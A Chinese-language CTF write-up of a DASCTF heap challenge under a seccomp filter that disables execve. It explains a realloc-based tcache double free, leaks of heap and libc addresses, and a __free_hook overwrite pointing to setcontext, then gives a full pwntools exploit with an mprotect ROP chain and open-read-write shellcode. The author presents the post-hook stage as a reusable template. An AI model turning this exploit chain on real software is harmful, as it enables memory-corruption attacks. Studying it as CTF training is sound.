端午節看了dasctf的一個pwn題,學了一個新的姿勢。
例行檢查
分析程序
這是個堆的菜單題,並且用了seccomp進行保護,禁用了execve。這時候一般想法是orw直接將flag寫出來。但是堆的題禁用了這個還是比較麻煩的,因爲堆的題無法對棧進行控制就不能進行rop,這個先放一放,先進行堆利用。
漏洞是在edit中,其中使用的了realloc,當size爲0的時候,realloc會free掉這個塊,執行兩次可以造成tcache dup,這裏可以泄露堆地址,第一次任意地址分配可以分配到一個unsortbin大小的chunk,這時就有兩個指針指向這個堆塊,free7次這個大小的堆塊再free這個堆塊會進入unsortbin,這時候show可以泄露libc,如果沒禁execve,這時候再來一次任意地址分配可以分配到malloc_hook或者free_hook,修改爲onegadget就完事了。
但是開了沙箱就要想別的方法了,找了一圈發現了EX師傅的方法,heaporw,利用setcontex函數,這個函數有一段可以控制大部分寄存器,進而orw。
.text:00000000000520A5 mov rsp, [rdi+0A0h]
.text:00000000000520AC mov rbx, [rdi+80h]
.text:00000000000520B3 mov rbp, [rdi+78h]
.text:00000000000520B7 mov r12, [rdi+48h]
.text:00000000000520BB mov r13, [rdi+50h]
.text:00000000000520BF mov r14, [rdi+58h]
.text:00000000000520C3 mov r15, [rdi+60h]
.text:00000000000520C7 mov rcx, [rdi+0A8h]
.text:00000000000520CE push rcx
.text:00000000000520CF mov rsi, [rdi+70h]
.text:00000000000520D3 mov rdx, [rdi+88h]
.text:00000000000520DA mov rcx, [rdi+98h]
.text:00000000000520E1 mov r8, [rdi+28h]
.text:00000000000520E5 mov r9, [rdi+30h]
.text:00000000000520E9 mov rdi, [rdi+68h]
.text:00000000000520E9 ; } // starts at 52070
.text:00000000000520ED ; __unwind {
.text:00000000000520ED xor eax, eax
.text:00000000000520EF retn
接着上面,在分配到free_hook後就可以將free_hook修改爲setcontex了,然後在堆中設置好各個寄存器的值。先調用read,將mprotect的rop寫入,然後修改內存的權限爲rwx,寫入orw的shellcode,jmp rsp執行shellcode。就完成了。exp在控制了free_hook後的工作可以當成模板直接使用。
from pwn import *
io=remote('183.129.189.60',10028)
libc=ELF('./libc-2.27.so')
context.arch = 'amd64'
def add(size,data):
io.recvuntil('choice :')
io.sendline('1')
io.recvuntil('the order?')
io.sendline(str(size))
io.recvuntil('notes:')
io.send(data)
def show():
io.recvuntil('choice :')
io.sendline('3')
def free(idx):
io.recvuntil('choice :')
io.sendline('4')
io.recvuntil('of order:')
io.sendline(str(idx))
def edit(idx,data):
io.recvuntil('choice :')
io.sendline('2')
io.recvuntil('of order:')
io.sendline(str(idx))
io.send(data)
add(0x100,'/bin/sh\x00')#0
add(0x100,p64(0)*0x10)#1
add(0,'')#2
add(8,'c')#3
add(0,'')#4
add(8,'d')#5
[add(0x100,'a') for i in range(7)]
[free(i+6) for i in range(7)]
[edit(2,'') for i in range (5)]
show()
io.recvuntil('[2]:')
heap=u64(io.recv(6).ljust(8,'\x00'))
print(hex(heap))
free(3)
add(8,p64(heap-0x130))#3
add(8,'3')
free(1)
show()
io.recvuntil('[6]:')
libc_base=u64(io.recv(6).ljust(8,'\x00'))-0x3ebca0
print(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
setcontext=libc_base+libc.sym['setcontext']
edit(4,'')
edit(4,'')
free(5)
add(8,p64(free_hook))#1
add(8,p64(setcontext+53))#edit_free_hook 5
syscall=libc_base+libc.search(asm("syscall\nret")).next()
print(hex(syscall))
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=free_hook&0xfffffffffffff000
frame.rdx=0x2000
frame.rsp=free_hook&0xfffffffffffff000
frame.rip=syscall
pl=str(frame)
edit(0,pl)
free(0)
layout = [
libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
free_hook & 0xfffffffffffff000,
libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
0x2000,
libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
7,
libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
10,
syscall, #: syscall; ret;
libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js failed
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
jmp exit
failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
exit:
xor edi, edi
mov eax, 231
syscall
''')
io.sendline(flat(layout) + shellcode)
io.interactive()
除了這種方法以外,好像還有一種通過io進行棧上rop的思路,這個坑以後再填。